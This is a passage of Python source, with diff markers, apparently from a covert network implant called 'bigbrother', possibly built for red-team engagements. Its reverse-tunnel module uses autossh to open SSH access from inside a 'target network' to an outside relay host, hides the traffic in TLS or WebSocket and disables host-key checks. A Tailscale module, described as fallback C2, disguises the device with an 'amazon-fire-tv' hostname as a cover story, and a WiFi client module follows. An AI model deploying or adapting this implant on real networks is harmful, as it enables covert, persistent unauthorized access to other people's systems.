import time
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
|
||||
logger = logging.getLogger("bb.connectivity.reverse_tunnel")
|
||||
|
||||
AUTOSSH_BIN = "/usr/bin/autossh"
|
||||
STUNNEL_BIN = "/usr/bin/stunnel"
|
||||
SSH_BIN = "/usr/bin/ssh"
|
||||
CONNECT_TIMEOUT = 30 # seconds
|
||||
|
||||
|
||||
class ReverseTunnel(BaseModule):
|
||||
"""Reverse SSH tunnel via autossh, wrapped in TLS or WebSocket."""
|
||||
|
||||
name = "reverse_tunnel"
|
||||
module_type = "connectivity"
|
||||
priority = -100
|
||||
requires_root = False
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._autossh_proc: Optional[subprocess.Popen] = None
|
||||
self._stunnel_proc: Optional[subprocess.Popen] = None
|
||||
self._relay_host: Optional[str] = None
|
||||
self._relay_port: int = 443
|
||||
self._relay_user: Optional[str] = None
|
||||
self._key_file: Optional[str] = None
|
||||
self._remote_port: int = 0
|
||||
self._monitor_port: int = 0
|
||||
self._transport: str = "stunnel" # "stunnel" or "websocket"
|
||||
self._stunnel_config_path: Optional[str] = None
|
||||
self._ssh_config_path: Optional[str] = None
|
||||
self._local_stunnel_port: int = 0
|
||||
self._connected = False
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
tun_cfg = self.config.get("connectivity", {}).get("reverse_tunnel", {})
|
||||
if not tun_cfg:
|
||||
logger.error("No reverse_tunnel config in bigbrother.yaml")
|
||||
self.state.set_module_status(self.name, "error")
|
||||
return
|
||||
|
||||
self._relay_host = tun_cfg.get("relay_host")
|
||||
self._relay_port = tun_cfg.get("relay_port", 443)
|
||||
self._relay_user = tun_cfg.get("relay_user", "tunnel")
|
||||
self._key_file = tun_cfg.get("key_file")
|
||||
self._remote_port = tun_cfg.get("remote_port", 22222)
|
||||
self._monitor_port = tun_cfg.get("monitor_port", 0)
|
||||
self._transport = tun_cfg.get("transport", "stunnel")
|
||||
|
||||
if not self._relay_host:
|
||||
logger.error("relay_host not configured for reverse tunnel")
|
||||
self.state.set_module_status(self.name, "error")
|
||||
return
|
||||
|
||||
if not self._key_file or not os.path.isfile(self._key_file):
|
||||
logger.error("SSH key file not found: %s", self._key_file)
|
||||
self.state.set_module_status(self.name, "error")
|
||||
return
|
||||
|
||||
if not self.connect():
|
||||
self.state.set_module_status(self.name, "error")
|
||||
return
|
||||
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
self._connected = True
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
self.bus.emit("CONNECTIVITY_CHANGED",
|
||||
{"module": self.name, "state": "up",
|
||||
"relay": self._relay_host, "remote_port": self._remote_port,
|
||||
"transport": self._transport},
|
||||
source_module=self.name)
|
||||
logger.info("Reverse tunnel up — %s:%d via %s (transport: %s)",
|
||||
self._relay_host, self._remote_port,
|
||||
self._relay_port, self._transport)
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
|
||||
self.disconnect()
|
||||
self._running = False
|
||||
self._connected = False
|
||||
|
||||
# Cleanup temp configs
|
||||
for path in (self._stunnel_config_path, self._ssh_config_path):
|
||||
if path and os.path.isfile(path):
|
||||
try:
|
||||
os.unlink(path)
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
self.bus.emit("CONNECTIVITY_CHANGED",
|
||||
{"module": self.name, "state": "down"},
|
||||
source_module=self.name)
|
||||
logger.info("Reverse tunnel stopped")
|
||||
|
||||
def status(self) -> dict:
|
||||
autossh_alive = (self._autossh_proc is not None and
|
||||
self._autossh_proc.poll() is None)
|
||||
stunnel_alive = (self._stunnel_proc is not None and
|
||||
self._stunnel_proc.poll() is None)
|
||||
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"connected": self._connected,
|
||||
"relay_host": self._relay_host,
|
||||
"relay_port": self._relay_port,
|
||||
"remote_port": self._remote_port,
|
||||
"transport": self._transport,
|
||||
"autossh_alive": autossh_alive,
|
||||
"autossh_pid": self._autossh_proc.pid if self._autossh_proc else None,
|
||||
"stunnel_alive": stunnel_alive,
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
|
||||
def health_check(self) -> bool:
|
||||
if not self._running:
|
||||
return False
|
||||
return self.is_connected()
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Tunnel operations
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def connect(self) -> bool:
|
||||
"""Establish the reverse tunnel: start stunnel/ws, then autossh."""
|
||||
if self._transport == "stunnel":
|
||||
if not self._start_stunnel():
|
||||
return False
|
||||
ssh_target_host = "127.0.0.1"
|
||||
ssh_target_port = self._local_stunnel_port
|
||||
elif self._transport == "websocket":
|
||||
# WebSocket transport uses SSH ProxyCommand with a ws client
|
||||
ssh_target_host = self._relay_host
|
||||
ssh_target_port = self._relay_port
|
||||
else:
|
||||
logger.error("Unknown transport: %s (must be 'stunnel' or 'websocket')",
|
||||
self._transport)
|
||||
return False
|
||||
|
||||
# Write SSH config for strict options
|
||||
self._ssh_config_path = self._write_ssh_config(ssh_target_host, ssh_target_port)
|
||||
|
||||
# Build autossh command
|
||||
env = dict(os.environ)
|
||||
env["AUTOSSH_GATETIME"] = "0" # Don't require initial connection time
|
||||
env["AUTOSSH_POLL"] = "30" # Check connection every 30s
|
||||
|
||||
if self._monitor_port:
|
||||
env["AUTOSSH_PORT"] = str(self._monitor_port)
|
||||
else:
|
||||
env["AUTOSSH_PORT"] = "0" # Disable monitoring port, use ServerAlive
|
||||
|
||||
ssh_cmd = [
|
||||
SSH_BIN,
|
||||
"-F", self._ssh_config_path,
|
||||
"-N", # No shell
|
||||
"-T", # No PTY
|
||||
"-R", f"{self._remote_port}:127.0.0.1:22",
|
||||
"-i", self._key_file,
|
||||
"-o", "StrictHostKeyChecking=no",
|
||||
"-o", "UserKnownHostsFile=/dev/null",
|
||||
"-o", "ServerAliveInterval=15",
|
||||
"-o", "ServerAliveCountMax=3",
|
||||
"-o", "ExitOnForwardFailure=yes",
|
||||
"-o", "LogLevel=ERROR",
|
||||
]
|
||||
|
||||
# WebSocket transport uses ProxyCommand
|
||||
if self._transport == "websocket":
|
||||
proxy_cmd = self._get_ws_proxy_command()
|
||||
if proxy_cmd:
|
||||
ssh_cmd.extend(["-o", f"ProxyCommand={proxy_cmd}"])
|
||||
ssh_cmd.extend([
|
||||
"-p", str(ssh_target_port),
|
||||
f"{self._relay_user}@{ssh_target_host}",
|
||||
])
|
||||
else:
|
||||
ssh_cmd.extend([
|
||||
"-p", str(ssh_target_port),
|
||||
f"{self._relay_user}@{ssh_target_host}",
|
||||
])
|
||||
|
||||
autossh_cmd = [AUTOSSH_BIN, "-M", str(self._monitor_port)] + ssh_cmd[1:]
|
||||
# autossh wraps ssh; pass the ssh binary path
|
||||
autossh_cmd = [AUTOSSH_BIN] + ssh_cmd
|
||||
|
||||
try:
|
||||
self._autossh_proc = subprocess.Popen(
|
||||
autossh_cmd,
|
||||
stdout=subprocess.DEVNULL,
|
||||
stderr=subprocess.PIPE,
|
||||
env=env,
|
||||
)
|
||||
except FileNotFoundError:
|
||||
logger.error("autossh not found at %s", AUTOSSH_BIN)
|
||||
return False
|
||||
except OSError as exc:
|
||||
logger.error("Failed to start autossh: %s", exc)
|
||||
return False
|
||||
|
||||
# Wait briefly to check if process dies immediately
|
||||
time.sleep(2.0)
|
||||
if self._autossh_proc.poll() is not None:
|
||||
stderr = ""
|
||||
try:
|
||||
stderr = self._autossh_proc.stderr.read().decode(errors='replace')[:500]
|
||||
except Exception:
|
||||
pass
|
||||
logger.error("autossh exited immediately: %s", stderr)
|
||||
self._cleanup_stunnel()
|
||||
return False
|
||||
|
||||
logger.info("autossh started (PID %d)", self._autossh_proc.pid)
|
||||
return True
|
||||
|
||||
def disconnect(self) -> None:
|
||||
"""Tear down the reverse tunnel."""
|
||||
# Stop autossh
|
||||
if self._autossh_proc and self._autossh_proc.poll() is None:
|
||||
try:
|
||||
self._autossh_proc.terminate()
|
||||
self._autossh_proc.wait(timeout=5.0)
|
||||
except subprocess.TimeoutExpired:
|
||||
self._autossh_proc.kill()
|
||||
try:
|
||||
self._autossh_proc.wait(timeout=2.0)
|
||||
except subprocess.TimeoutExpired:
|
||||
pass
|
||||
self._autossh_proc = None
|
||||
|
||||
# Stop stunnel
|
||||
self._cleanup_stunnel()
|
||||
self._connected = False
|
||||
|
||||
def is_connected(self) -> bool:
|
||||
"""Check if the autossh process is alive."""
|
||||
if self._autossh_proc is None:
|
||||
return False
|
||||
alive = self._autossh_proc.poll() is None
|
||||
self._connected = alive
|
||||
return alive
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# stunnel management
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _start_stunnel(self) -> bool:
|
||||
"""Start stunnel to wrap SSH in TLS."""
|
||||
# Pick a random high port for local stunnel listener
|
||||
import socket
|
||||
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
|
||||
s.bind(("127.0.0.1", 0))
|
||||
self._local_stunnel_port = s.getsockname()[1]
|
||||
|
||||
config_content = (
|
||||
f"pid =\n" # Don't write PID file
|
||||
f"foreground = yes\n"
|
||||
f"syslog = no\n"
|
||||
f"debug = 0\n"
|
||||
f"\n"
|
||||
f"[ssh-tunnel]\n"
|
||||
f"client = yes\n"
|
||||
f"accept = 127.0.0.1:{self._local_stunnel_port}\n"
|
||||
f"connect = {self._relay_host}:{self._relay_port}\n"
|
||||
f"TIMEOUTconnect = 10\n"
|
||||
)
|
||||
|
||||
tmpdir = "/dev/shm" if os.path.isdir("/dev/shm") else tempfile.gettempdir()
|
||||
self._stunnel_config_path = os.path.join(tmpdir, ".stunnel_bb.conf")
|
||||
|
||||
fd = os.open(self._stunnel_config_path,
|
||||
os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600)
|
||||
try:
|
||||
os.write(fd, config_content.encode())
|
||||
finally:
|
||||
os.close(fd)
|
||||
|
||||
try:
|
||||
self._stunnel_proc = subprocess.Popen(
|
||||
[STUNNEL_BIN, self._stunnel_config_path],
|
||||
stdout=subprocess.DEVNULL,
|
||||
stderr=subprocess.PIPE,
|
||||
)
|
||||
except FileNotFoundError:
|
||||
logger.error("stunnel not found at %s", STUNNEL_BIN)
|
||||
return False
|
||||
except OSError as exc:
|
||||
logger.error("Failed to start stunnel: %s", exc)
|
||||
return False
|
||||
|
||||
# Wait for stunnel to be ready
|
||||
time.sleep(1.0)
|
||||
if self._stunnel_proc.poll() is not None:
|
||||
stderr = ""
|
||||
try:
|
||||
stderr = self._stunnel_proc.stderr.read().decode(errors='replace')[:500]
|
||||
except Exception:
|
||||
pass
|
||||
logger.error("stunnel exited: %s", stderr)
|
||||
return False
|
||||
|
||||
logger.debug("stunnel listening on 127.0.0.1:%d -> %s:%d",
|
||||
self._local_stunnel_port, self._relay_host, self._relay_port)
|
||||
return True
|
||||
|
||||
def _cleanup_stunnel(self) -> None:
|
||||
"""Stop the stunnel process."""
|
||||
if self._stunnel_proc and self._stunnel_proc.poll() is None:
|
||||
try:
|
||||
self._stunnel_proc.terminate()
|
||||
self._stunnel_proc.wait(timeout=3.0)
|
||||
except subprocess.TimeoutExpired:
|
||||
self._stunnel_proc.kill()
|
||||
try:
|
||||
self._stunnel_proc.wait(timeout=2.0)
|
||||
except subprocess.TimeoutExpired:
|
||||
pass
|
||||
self._stunnel_proc = None
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# SSH config
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _write_ssh_config(self, host: str, port: int) -> str:
|
||||
"""Write a transient SSH config file."""
|
||||
config = (
|
||||
f"Host tunnel-relay\n"
|
||||
f" HostName {host}\n"
|
||||
f" Port {port}\n"
|
||||
f" User {self._relay_user}\n"
|
||||
f" IdentityFile {self._key_file}\n"
|
||||
f" StrictHostKeyChecking no\n"
|
||||
f" UserKnownHostsFile /dev/null\n"
|
||||
f" ServerAliveInterval 15\n"
|
||||
f" ServerAliveCountMax 3\n"
|
||||
f" ExitOnForwardFailure yes\n"
|
||||
f" LogLevel ERROR\n"
|
||||
)
|
||||
|
||||
tmpdir = "/dev/shm" if os.path.isdir("/dev/shm") else tempfile.gettempdir()
|
||||
path = os.path.join(tmpdir, ".ssh_tunnel_bb.conf")
|
||||
|
||||
fd = os.open(path, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600)
|
||||
try:
|
||||
os.write(fd, config.encode())
|
||||
finally:
|
||||
os.close(fd)
|
||||
|
||||
return path
|
||||
|
||||
def _get_ws_proxy_command(self) -> Optional[str]:
|
||||
"""Return a ProxyCommand string for SSH-over-WebSocket."""
|
||||
# websocat is the preferred tool for ws-to-tcp proxying
|
||||
websocat = "/usr/bin/websocat"
|
||||
if os.path.isfile(websocat):
|
||||
return (f"{websocat} --binary "
|
||||
f"wss://{self._relay_host}:{self._relay_port}/ssh "
|
||||
f"--tls-domain {self._relay_host}")
|
||||
|
||||
# Fallback: wstunnel
|
||||
wstunnel = "/usr/bin/wstunnel"
|
||||
if os.path.isfile(wstunnel):
|
||||
return (f"{wstunnel} client "
|
||||
f"-L stdio://127.0.0.1:0 "
|
||||
f"wss://{self._relay_host}:{self._relay_port}")
|
||||
|
||||
logger.warning("No WebSocket proxy tool found (websocat or wstunnel)")
|
||||
return None
|
||||
@@ -0,0 +1,290 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Tailscale module — fallback operator access via Tailscale mesh VPN.
|
||||
|
||||
FALLBACK ONLY. Tailscale maintains persistent connections to coordination
|
||||
servers — it is chatty by design. Use only when:
|
||||
1. WireGuard is blocked by the target network
|
||||
2. Target network already has Tailscale traffic (blends in)
|
||||
|
||||
Manages the tailscaled daemon via subprocess. Authenticates with a
|
||||
per-engagement auth key and sets hostname to match the MAC profile
|
||||
(e.g., "amazon-fire-tv-xxx") for consistency with the device cover story.
|
||||
"""
|
||||
|
||||
import logging
|
||||
import os
|
||||
import subprocess
|
||||
import time
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
|
||||
logger = logging.getLogger("bb.connectivity.tailscale")
|
||||
|
||||
TAILSCALE_BIN = "/usr/bin/tailscale"
|
||||
TAILSCALED_BIN = "/usr/sbin/tailscaled"
|
||||
STARTUP_TIMEOUT = 30 # seconds to wait for tailscaled to be ready
|
||||
|
||||
|
||||
class Tailscale(BaseModule):
|
||||
"""Fallback C2 — Tailscale mesh VPN managed as subprocess."""
|
||||
|
||||
name = "tailscale"
|
||||
module_type = "connectivity"
|
||||
priority = -150
|
||||
requires_root = True
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._daemon_proc: Optional[subprocess.Popen] = None
|
||||
self._auth_key: Optional[str] = None
|
||||
self._hostname: Optional[str] = None
|
||||
self._connected = False
|
||||
self._tailscale_ip: Optional[str] = None
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
ts_cfg = self.config.get("connectivity", {}).get("tailscale", {})
|
||||
if not ts_cfg:
|
||||
logger.error("No tailscale config in bigbrother.yaml")
|
||||
self.state.set_module_status(self.name, "error")
|
||||
return
|
||||
|
||||
self._auth_key = ts_cfg.get("auth_key")
|
||||
self._hostname = ts_cfg.get("hostname")
|
||||
|
||||
if not self._auth_key:
|
||||
logger.error("Tailscale auth_key not configured")
|
||||
self.state.set_module_status(self.name, "error")
|
||||
return
|
||||
|
||||
# If no hostname specified, try to match MAC profile
|
||||
if not self._hostname:
|
||||
mac_hostname = self.state.get(
|
||||
"mac_manager", "dhcp_hostname", default=None
|
||||
)
|
||||
if mac_hostname:
|
||||
self._hostname = mac_hostname.replace(" ", "-").lower()
|
||||
else:
|
||||
self._hostname = f"bb-{os.urandom(3).hex()}"
|
||||
|
||||
# Start tailscaled daemon
|
||||
if not self._start_daemon(ts_cfg):
|
||||
self.state.set_module_status(self.name, "error")
|
||||
return
|
||||
|
||||
# Authenticate and bring up
|
||||
if not self.up(self._auth_key):
|
||||
logger.error("Failed to bring Tailscale up")
|
||||
self._stop_daemon()
|
||||
self.state.set_module_status(self.name, "error")
|
||||
return
|
||||
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
self._connected = True
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
self.bus.emit("CONNECTIVITY_CHANGED",
|
||||
{"module": self.name, "state": "up",
|
||||
"ip": self._tailscale_ip, "hostname": self._hostname},
|
||||
source_module=self.name)
|
||||
logger.info("Tailscale up — hostname=%s, ip=%s",
|
||||
self._hostname, self._tailscale_ip)
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
|
||||
self.down()
|
||||
self._stop_daemon()
|
||||
self._running = False
|
||||
self._connected = False
|
||||
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
self.bus.emit("CONNECTIVITY_CHANGED",
|
||||
{"module": self.name, "state": "down"},
|
||||
source_module=self.name)
|
||||
logger.info("Tailscale stopped")
|
||||
|
||||
def status(self) -> dict:
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"connected": self._connected,
|
||||
"ip": self._tailscale_ip,
|
||||
"hostname": self._hostname,
|
||||
"daemon_pid": self._daemon_proc.pid if self._daemon_proc else None,
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
|
||||
def health_check(self) -> bool:
|
||||
if not self._running:
|
||||
return False
|
||||
return self.is_connected()
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Tailscale operations
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def up(self, auth_key: str) -> bool:
|
||||
"""Authenticate and bring Tailscale up with the given auth key."""
|
||||
try:
|
||||
cmd = [TAILSCALE_BIN, "up",
|
||||
"--authkey", auth_key,
|
||||
"--hostname", self._hostname,
|
||||
"--accept-routes"]
|
||||
|
||||
result = subprocess.run(
|
||||
cmd, capture_output=True, text=True, timeout=30,
|
||||
)
|
||||
|
||||
if result.returncode != 0:
|
||||
logger.error("tailscale up failed: %s", result.stderr.strip())
|
||||
return False
|
||||
|
||||
# Get assigned IP
|
||||
self._tailscale_ip = self.get_ip()
|
||||
return self._tailscale_ip is not None
|
||||
|
||||
except subprocess.TimeoutExpired:
|
||||
logger.error("tailscale up timed out")
|
||||
return False
|
||||
|
||||
def down(self) -> bool:
|
||||
"""Bring Tailscale down (logout and disconnect)."""
|
||||
try:
|
||||
subprocess.run(
|
||||
[TAILSCALE_BIN, "logout"],
|
||||
capture_output=True, timeout=15,
|
||||
)
|
||||
subprocess.run(
|
||||
[TAILSCALE_BIN, "down"],
|
||||
capture_output=True, timeout=15,
|
||||
)
|
||||
self._connected = False
|
||||
return True
|
||||
except (subprocess.CalledProcessError, subprocess.TimeoutExpired) as exc:
|
||||
logger.warning("Error during tailscale down: %s", exc)
|
||||
return False
|
||||
|
||||
def is_connected(self) -> bool:
|
||||
"""Check if Tailscale is connected and has an IP."""
|
||||
try:
|
||||
result = subprocess.run(
|
||||
[TAILSCALE_BIN, "status", "--json"],
|
||||
capture_output=True, text=True, timeout=10,
|
||||
)
|
||||
if result.returncode != 0:
|
||||
return False
|
||||
|
||||
import json
|
||||
status = json.loads(result.stdout)
|
||||
backend_state = status.get("BackendState", "")
|
||||
self._connected = backend_state == "Running"
|
||||
return self._connected
|
||||
|
||||
except (subprocess.TimeoutExpired, ValueError, KeyError):
|
||||
return False
|
||||
|
||||
def get_ip(self) -> Optional[str]:
|
||||
"""Get the Tailscale IPv4 address."""
|
||||
try:
|
||||
result = subprocess.run(
|
||||
[TAILSCALE_BIN, "ip", "-4"],
|
||||
capture_output=True, text=True, timeout=10,
|
||||
)
|
||||
if result.returncode == 0 and result.stdout.strip():
|
||||
ip = result.stdout.strip().splitlines()[0]
|
||||
self._tailscale_ip = ip
|
||||
return ip
|
||||
except (subprocess.CalledProcessError, subprocess.TimeoutExpired):
|
||||
pass
|
||||
return None
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Daemon management
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _start_daemon(self, ts_cfg: dict) -> bool:
|
||||
"""Start tailscaled as a managed subprocess."""
|
||||
state_dir = ts_cfg.get("state_dir", "/var/lib/tailscale")
|
||||
socket_path = ts_cfg.get("socket", "/var/run/tailscale/tailscaled.sock")
|
||||
|
||||
os.makedirs(state_dir, exist_ok=True)
|
||||
os.makedirs(os.path.dirname(socket_path), exist_ok=True)
|
||||
|
||||
cmd = [
|
||||
TAILSCALED_BIN,
|
||||
f"--state={state_dir}/tailscaled.state",
|
||||
f"--socket={socket_path}",
|
||||
"--tun=userspace-networking",
|
||||
]
|
||||
|
||||
try:
|
||||
self._daemon_proc = subprocess.Popen(
|
||||
cmd,
|
||||
stdout=subprocess.DEVNULL,
|
||||
stderr=subprocess.PIPE,
|
||||
)
|
||||
except FileNotFoundError:
|
||||
logger.error("tailscaled binary not found at %s", TAILSCALED_BIN)
|
||||
return False
|
||||
except OSError as exc:
|
||||
logger.error("Failed to start tailscaled: %s", exc)
|
||||
return False
|
||||
|
||||
# Wait for daemon to be ready
|
||||
deadline = time.time() + STARTUP_TIMEOUT
|
||||
while time.time() < deadline:
|
||||
if self._daemon_proc.poll() is not None:
|
||||
stderr = self._daemon_proc.stderr.read().decode(errors='replace')
|
||||
logger.error("tailscaled exited prematurely: %s", stderr[:500])
|
||||
return False
|
||||
|
||||
try:
|
||||
result = subprocess.run(
|
||||
[TAILSCALE_BIN, "status"],
|
||||
capture_output=True, timeout=5,
|
||||
)
|
||||
# Any response (even "not logged in") means daemon is ready
|
||||
if result.returncode in (0, 1):
|
||||
logger.debug("tailscaled is ready")
|
||||
return True
|
||||
except (subprocess.TimeoutExpired, FileNotFoundError):
|
||||
pass
|
||||
|
||||
time.sleep(1.0)
|
||||
|
||||
logger.error("tailscaled did not become ready within %ds", STARTUP_TIMEOUT)
|
||||
self._stop_daemon()
|
||||
return False
|
||||
|
||||
def _stop_daemon(self) -> None:
|
||||
"""Stop the tailscaled subprocess."""
|
||||
if self._daemon_proc is None:
|
||||
return
|
||||
|
||||
if self._daemon_proc.poll() is None:
|
||||
try:
|
||||
self._daemon_proc.terminate()
|
||||
self._daemon_proc.wait(timeout=5.0)
|
||||
except subprocess.TimeoutExpired:
|
||||
logger.warning("tailscaled did not stop after SIGTERM, killing")
|
||||
self._daemon_proc.kill()
|
||||
try:
|
||||
self._daemon_proc.wait(timeout=2.0)
|
||||
except subprocess.TimeoutExpired:
|
||||
pass
|
||||
|
||||
self._daemon_proc = None
|
||||
@@ -0,0 +1,452 @@
|
||||
#!/usr/bin/env python3
|
||||
"""WiFi client module — managed wpa_supplicant for WiFi connectivity.
|
||||
|
||||
Supports WPA2-PSK and WPA2-Enterprise (PEAP/EAP-TLS). Generates
|
||||
wpa_supplicant.conf from config parameters, manages the wpa_supplicant
|
||||
process, and monitors connection quality.
|
||||
"""
|
||||
|
||||
import logging
|
||||
import os
|
||||
import subprocess
|
||||
import tempfile
|
||||
import time
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
|
||||
logger = logging.getLogger("bb.connectivity.wifi_client")
|
||||
|
||||
WPA_SUPPLICANT_BIN = "/sbin/wpa_supplicant"
|
||||
WPA_CLI_BIN = "/sbin/wpa_cli"
|
||||
DEFAULT_INTERFACE = "wlan0"
|
||||
CONNECT_TIMEOUT = 30 # seconds
|
||||
|
||||
|
||||
class WiFiClient(BaseModule):
|
||||
"""WiFi client — wpa_supplicant managed WPA2-PSK/Enterprise."""
|
||||
|
||||
name = "wifi_client"
|
||||
module_type = "connectivity"
|
||||
priority = -100
|
||||
requires_root = True
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._wpa_proc: Optional[subprocess.Popen] = None
|
||||
self._interface = DEFAULT_INTERFACE
|
||||
self._config_path: Optional[str] = None
|
||||
self._connected = False
|
||||
self._ssid: Optional[str] = None
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
wifi_cfg = self.config.get("connectivity", {}).get("wifi", {})
|
||||
if not wifi_cfg:
|
||||
logger.error("No wifi config in bigbrother.yaml")
|
||||
self.state.set_module_status(self.name, "error")
|
||||
return
|
||||
|
||||
self._interface = wifi_cfg.get("interface", DEFAULT_INTERFACE)
|
||||
ssid = wifi_cfg.get("ssid")
|
||||
psk = wifi_cfg.get("psk")
|
||||
|
||||
if not ssid:
|
||||
logger.error("WiFi SSID not configured")
|
||||
self.state.set_module_status(self.name, "error")
|
||||
return
|
||||
|
||||
# Determine auth type
|
||||
eap_cfg = wifi_cfg.get("eap")
|
||||
if eap_cfg:
|
||||
self._config_path = self._write_enterprise_config(
|
||||
ssid=ssid,
|
||||
eap_method=eap_cfg.get("method", "PEAP"),
|
||||
identity=eap_cfg.get("identity", ""),
|
||||
password=eap_cfg.get("password", ""),
|
||||
ca_cert=eap_cfg.get("ca_cert"),
|
||||
client_cert=eap_cfg.get("client_cert"),
|
||||
private_key=eap_cfg.get("private_key"),
|
||||
phase2=eap_cfg.get("phase2", "auth=MSCHAPV2"),
|
||||
)
|
||||
elif psk:
|
||||
self._config_path = self._write_psk_config(ssid, psk)
|
||||
else:
|
||||
logger.error("WiFi config has no PSK and no EAP section")
|
||||
self.state.set_module_status(self.name, "error")
|
||||
return
|
||||
|
||||
if not self.connect(ssid, psk):
|
||||
logger.error("Failed to connect to WiFi network '%s'", ssid)
|
||||
self.state.set_module_status(self.name, "error")
|
||||
return
|
||||
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
self._ssid = ssid
|
||||
self._connected = True
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
self.bus.emit("CONNECTIVITY_CHANGED",
|
||||
{"module": self.name, "state": "up", "ssid": ssid},
|
||||
source_module=self.name)
|
||||
logger.info("WiFi connected to '%s' on %s", ssid, self._interface)
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
|
||||
self.disconnect()
|
||||
self._running = False
|
||||
self._connected = False
|
||||
|
||||
# Cleanup config file
|
||||
if self._config_path and os.path.isfile(self._config_path):
|
||||
try:
|
||||
os.unlink(self._config_path)
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
self.bus.emit("CONNECTIVITY_CHANGED",
|
||||
{"module": self.name, "state": "down"},
|
||||
source_module=self.name)
|
||||
logger.info("WiFi client stopped")
|
||||
|
||||
def status(self) -> dict:
|
||||
signal = self.get_signal() if self._running else None
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"connected": self._connected,
|
||||
"ssid": self._ssid,
|
||||
"interface": self._interface,
|
||||
"signal_dbm": signal,
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
|
||||
def health_check(self) -> bool:
|
||||
if not self._running:
|
||||
return False
|
||||
return self.is_connected()
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# WiFi operations
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def connect(self, ssid: str, psk: str = None) -> bool:
|
||||
"""Start wpa_supplicant and connect to the configured network."""
|
||||
# Kill any existing wpa_supplicant on this interface
|
||||
self._kill_existing_wpa()
|
||||
|
||||
# Bring interface up
|
||||
try:
|
||||
subprocess.run(
|
||||
["ip", "link", "set", "up", "dev", self._interface],
|
||||
check=True, capture_output=True, timeout=10,
|
||||
)
|
||||
except (subprocess.CalledProcessError, subprocess.TimeoutExpired) as exc:
|
||||
logger.error("Failed to bring up %s: %s", self._interface, exc)
|
||||
return False
|
||||
|
||||
# Start wpa_supplicant
|
||||
cmd = [
|
||||
WPA_SUPPLICANT_BIN,
|
||||
"-i", self._interface,
|
||||
"-c", self._config_path,
|
||||
"-B", # background
|
||||
"-D", "nl80211,wext",
|
||||
"-P", f"/var/run/wpa_supplicant_{self._interface}.pid",
|
||||
]
|
||||
|
||||
try:
|
||||
result = subprocess.run(cmd, capture_output=True, text=True, timeout=10)
|
||||
if result.returncode != 0:
|
||||
logger.error("wpa_supplicant failed to start: %s", result.stderr.strip())
|
||||
return False
|
||||
except (subprocess.TimeoutExpired, FileNotFoundError) as exc:
|
||||
logger.error("wpa_supplicant error: %s", exc)
|
||||
return False
|
||||
|
||||
# Wait for connection
|
||||
return self._wait_for_connection(timeout=CONNECT_TIMEOUT)
|
||||
|
||||
def disconnect(self) -> None:
|
||||
"""Stop wpa_supplicant and release the interface."""
|
||||
self._kill_existing_wpa()
|
||||
self._connected = False
|
||||
|
||||
# Release DHCP lease
|
||||
try:
|
||||
subprocess.run(
|
||||
["dhclient", "-r", self._interface],
|
||||
capture_output=True, timeout=10,
|
||||
)
|
||||
